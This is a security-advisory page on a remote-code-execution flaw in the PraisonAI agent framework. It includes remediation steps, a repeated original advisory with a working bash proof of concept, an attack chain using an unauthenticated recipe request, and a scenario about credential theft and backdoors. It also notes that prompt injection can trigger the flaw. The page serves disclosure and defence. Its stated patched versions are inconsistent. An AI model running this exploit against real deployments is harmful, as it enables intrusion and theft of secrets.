PraisonAI versions up to 4.6.37 contain two unguarded `spec.loader.exec_module` call sites in `agents_generator.py` that execute arbitrary Python files referenced from YAML agent configurations, bypassing the env-var gate applied in three prior patch rounds (CVE-2026-40156, CVE-2026-40287, CVE-2026-44334). With the recipe server's default no-auth posture and `allow_any_github=True`, an unauthenticated attacker can achieve remote code execution via a single HTTP POST request — a public PoC bash script is included in the advisory, placing weaponization within reach of unsophisticated actors. The 59 other CVEs in this package and a systemic pattern of incomplete patch series signal structural security debt that should raise red flags for any team running PraisonAI in production or CI/CD. Upgrade to praisonai >= 4.6.40 immediately; if patching is blocked, restrict or disable the `/v1/recipes/run` endpoint and ensure `allow_any_github` is set to false.
What is the risk?
Critical risk in network-facing deployments. The structured CVE data scores this 8.1 High (AV:N/AC:H); the advisory escalates to 9.8 Critical when the recipe server runs with default no-auth settings and allow_any_github=True — both common in out-of-the-box deployments. This is the fourth bypass in a series of incomplete patches targeting the same exec_module sink family, meaning the maintainers' track record of fully closing the attack surface is poor and future patches warrant scrutiny. With a trivial public PoC and no authentication requirement in the network vector, exploitation probability is high regardless of low current EPSS data (CVE is newly published). AI agent frameworks running in CI/CD pipelines, shared development environments, or multi-tenant SaaS platforms face the broadest blast radius.
Attack Kill Chain
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | <= 4.6.39 | 4.6.40 |
Do you use PraisonAI? You're affected.
Severity & Risk
Attack Surface
What should I do?
6 steps-
Upgrade to praisonai >= 4.6.40 — the only confirmed remediation.
-
If upgrade is blocked: set PRAISONAI_ALLOW_LOCAL_TOOLS to any value other than 'true' (note: agents_generator.py does NOT check this gate, so it only helps other sinks — treat as defense-in-depth, not a fix).
-
Disable or place behind strong authentication the /v1/recipes/run endpoint; explicitly set allow_any_github=False in recipe server config.
-
Audit all agents.yaml files in use for unexpected module_path entries referencing .py files, especially relative paths.
-
Detection: alert on Python process execution spawning from /tmp or unexpected working directories; watch for file writes matching praisonai_*_pwn_*.txt in /tmp as PoC fingerprint.
-
In CI/CD contexts, pin the praisonai version and validate YAML agent configs against a strict schema — reject any config containing module_path keys that reference filesystem paths.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-47398?
PraisonAI versions up to 4.6.37 contain two unguarded `spec.loader.exec_module` call sites in `agents_generator.py` that execute arbitrary Python files referenced from YAML agent configurations, bypassing the env-var gate applied in three prior patch rounds (CVE-2026-40156, CVE-2026-40287, CVE-2026-44334). With the recipe server's default no-auth posture and `allow_any_github=True`, an unauthenticated attacker can achieve remote code execution via a single HTTP POST request — a public PoC bash script is included in the advisory, placing weaponization within reach of unsophisticated actors. The 59 other CVEs in this package and a systemic pattern of incomplete patch series signal structural security debt that should raise red flags for any team running PraisonAI in production or CI/CD. Upgrade to praisonai >= 4.6.40 immediately; if patching is blocked, restrict or disable the `/v1/recipes/run` endpoint and ensure `allow_any_github` is set to false.
Is CVE-2026-47398 actively exploited?
No confirmed active exploitation of CVE-2026-47398 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-47398?
1. Upgrade to praisonai >= 4.6.40 — the only confirmed remediation. 2. If upgrade is blocked: set PRAISONAI_ALLOW_LOCAL_TOOLS to any value other than 'true' (note: agents_generator.py does NOT check this gate, so it only helps other sinks — treat as defense-in-depth, not a fix). 3. Disable or place behind strong authentication the /v1/recipes/run endpoint; explicitly set allow_any_github=False in recipe server config. 4. Audit all agents.yaml files in use for unexpected module_path entries referencing .py files, especially relative paths. 5. Detection: alert on Python process execution spawning from /tmp or unexpected working directories; watch for file writes matching praisonai_*_pwn_*.txt in /tmp as PoC fingerprint. 6. In CI/CD contexts, pin the praisonai version and validate YAML agent configs against a strict schema — reject any config containing module_path keys that reference filesystem paths.
What systems are affected by CVE-2026-47398?
This vulnerability affects the following AI/ML architecture patterns: Agent frameworks, CI/CD AI pipelines, Multi-tenant agent platforms, Recipe and automation servers.
What is the CVSS score for CVE-2026-47398?
CVE-2026-47398 has a CVSS v3.1 base score of 8.1 (HIGH).
AI Security Impact
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0002.002 AI Agent Configuration AML.T0010.005 AI Agent Tool AML.T0049 Exploit Public-Facing Application AML.T0053 AI Agent Tool Invocation AML.T0081 Modify AI Agent Configuration Compliance Controls Affected
Technical Details
Original Advisory
<html><head></head><body><h2>Arbitrary code execution via ungated <code>spec.loader.exec_module</code> in <code>agents_generator.py</code> (v4.6.32 chokepoint refactor bypass)</h2> <h3>Summary</h3> <p>The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate to the <code>tool_override.py</code> sinks. However, <strong>two additional <code>spec.loader.exec_module</code> call sites</strong> in <code>praisonai/agents_generator.py</code> were missed and remain completely unguarded on current <code>master</code> (v4.6.37). Both functions accept a <code>module_path</code> parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.</p> <h3>Patch lineage</h3> CVE | GHSA | Fixed in | What was patched -- | -- | -- | -- CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py This finding | — | unfixed | Missed sinks in agents_generator.py <p>Every prior patch addressed a subset of <code>exec_module</code> call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.</p> <h3>Vulnerable code</h3> <pre><code class="language-python"># praisonai/agents_generator.py (master HEAD; v4.6.37) 336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate 372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate) </code></pre> <p>Neither function checks <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code>. Neither validates <code>module_path</code> against an allowlist. The <code>module_path</code> value originates from YAML agent configuration (<code>agents.yaml</code>) tool definitions, which can be:</p> <ol> <li><strong>Attacker-controlled via shared/writable config directory</strong> — same CWD-plant vector as CVE-2026-40156.</li> <li><strong>Attacker-controlled via recipe/GitHub fetch</strong> — same remote trigger as CVE-2026-44334 (<code>POST /v1/recipes/run</code> with <code>allow_any_github=True</code>).</li> <li><strong>Attacker-influenced via prompt injection</strong> — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.</li> </ol> <h3>Attack chain (recipe vector)</h3> <pre><code>HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools: - module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE </code></pre> <p>No <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.</p> <h3>PoC</h3> <pre><code class="language-bash">#!/usr/bin/env bash # Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37) set -euo pipefail WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT # 1. Malicious module cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True) def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF # 2. agents.yaml that references it cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools: - evil.py YAMLEOF # 3. Run cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired " # 4. Verify MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi </code></pre> <h3>Impact</h3> <p>Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an <code>agents.yaml</code> or colocate a <code>.py</code> file achieves code execution as the service account.</p> <h3>Severity</h3> <p><strong>High</strong> — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)</p> <p>When combined with the recipe server's default no-auth posture and <code>allow_any_github=True</code>, the attack becomes <strong>network-reachable without authentication</strong>, elevating to:</p> <p>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)</p> <h3>CWE</h3> <ul> <li>CWE-94: Improper Control of Generation of Code ('Code Injection')</li> <li>CWE-426: Untrusted Search Path</li> <li>CWE-829: Inclusion of Functionality from Untrusted Control Sphere</li> </ul> <h3>Affected versions</h3> <p>All versions containing <code>agents_generator.py</code> with these functions — at minimum <code>>= 2.0.0, <= 4.6.37</code> (current <code>master</code> HEAD).</p> <h3>Suggested fix</h3> <p>Apply the same <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate used in <code>tool_resolver.py</code> and <code>api/call.py</code> to both call sites in <code>agents_generator.py</code>:</p> <pre><code class="language-python">import os def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... </code></pre> <p>Additionally, validate <code>module_path</code> against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.</p> <h3>Credit</h3> <p>Kai Aizen & Avraham Shemesh / <a href="https://snailsploit.com/">SnailSploit</a></p></body></html>## Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass) ### TL;DR The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate to the `tool_override.py` sinks. However, **two additional `spec.loader.exec_module` call sites** in `praisonai/agents_generator.py` were missed and remain completely unguarded on current `master` (v4.6.37). Both functions accept a `module_path` parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate. ### Patch lineage | CVE | GHSA | Fixed in | What was patched | | --- | --- | --- | --- | | CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD `tools.py` auto-load in `tool_resolver.py` | | CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to `tool_resolver.py` + `api/call.py` | | CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in `templates/tool_override.py` | | **This finding** | — | **unfixed** | Missed sinks in `agents_generator.py` | Every prior patch addressed a subset of `exec_module` call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched. ### Vulnerable code ```python # praisonai/agents_generator.py (master HEAD; v4.6.37) 336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate 372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate) ``` Neither function checks `PRAISONAI_ALLOW_LOCAL_TOOLS`. Neither validates `module_path` against an allowlist. The `module_path` value originates from YAML agent configuration (`agents.yaml`) tool definitions, which can be: 1. **Attacker-controlled via shared/writable config directory** — same CWD-plant vector as CVE-2026-40156. 2. **Attacker-controlled via recipe/GitHub fetch** — same remote trigger as CVE-2026-44334 (`POST /v1/recipes/run` with `allow_any_github=True`). 3. **Attacker-influenced via prompt injection** — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer. ### Attack chain (recipe vector) ``` HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools: - module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE ``` No `PRAISONAI_ALLOW_LOCAL_TOOLS` check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call. ### PoC ```bash #!/usr/bin/env bash # Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37) set -euo pipefail WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT # 1. Malicious module cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True) def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF # 2. agents.yaml that references it cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools: - evil.py YAMLEOF # 3. Run cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired " # 4. Verify MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi ``` ### Impact Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an `agents.yaml` or colocate a `.py` file achieves code execution as the service account. ### Severity **High** — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) When combined with the recipe server's default no-auth posture and `allow_any_github=True`, the attack becomes **network-reachable without authentication**, elevating to: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical) ### CWE - CWE-94: Improper Control of Generation of Code ('Code Injection') - CWE-426: Untrusted Search Path - CWE-829: Inclusion of Functionality from Untrusted Control Sphere ### Affected versions All versions containing `agents_generator.py` with these functions — at minimum `>= 2.0.0, <= 4.6.37` (current `master` HEAD). ### Suggested fix Apply the same `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate used in `tool_resolver.py` and `api/call.py` to both call sites in `agents_generator.py`: ```python import os def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... ``` Additionally, validate `module_path` against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths. ### Credit Kai Aizen & Avraham Shemesh / [[SnailSploit](https://snailsploit.com/)](https://snailsploit.com)
Exploitation Scenario
An attacker creates a public GitHub repository containing two files: evil.py (which exfiltrates environment variables including AI API keys and writes a persistence mechanism) and agents.yaml declaring a poc_agent with tools referencing module_path: ./evil.py. They send an unauthenticated HTTP POST to the target's recipe server at POST /v1/recipes/run with body {"recipe": "github:attacker/repo/recipe"}. PraisonAI fetches the recipe, parses agents.yaml, and calls AgentsGenerator.load_tools_from_module('./evil.py'). Since agents_generator.py line 351 calls spec.loader.exec_module(module) with no PRAISONAI_ALLOW_LOCAL_TOOLS check, evil.py executes immediately with the privileges of the PraisonAI process — before any LLM interaction, before any API authentication, before any output filtering. The attacker harvests credentials, pivots to connected databases or vector stores, and plants a backdoor — all in the tool-loading phase that the application treats as infrastructure setup.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-47392 9.9 praisonaiagents: RCE via Python sandbox bypass
Same package: praisonai GHSA-vc46-vw85-3wvm 9.8 PraisonAI: RCE via malicious workflow YAML execution
Same package: praisonai CVE-2026-39890 9.8 PraisonAI: YAML deserialization enables unauthenticated RCE
Same package: praisonai GHSA-9qhq-v63v-fv3j 9.8 PraisonAI: RCE via MCP command injection
Same package: praisonai CVE-2026-47410 9.8 praisonai-platform: hardcoded JWT → full account takeover
Same package: praisonai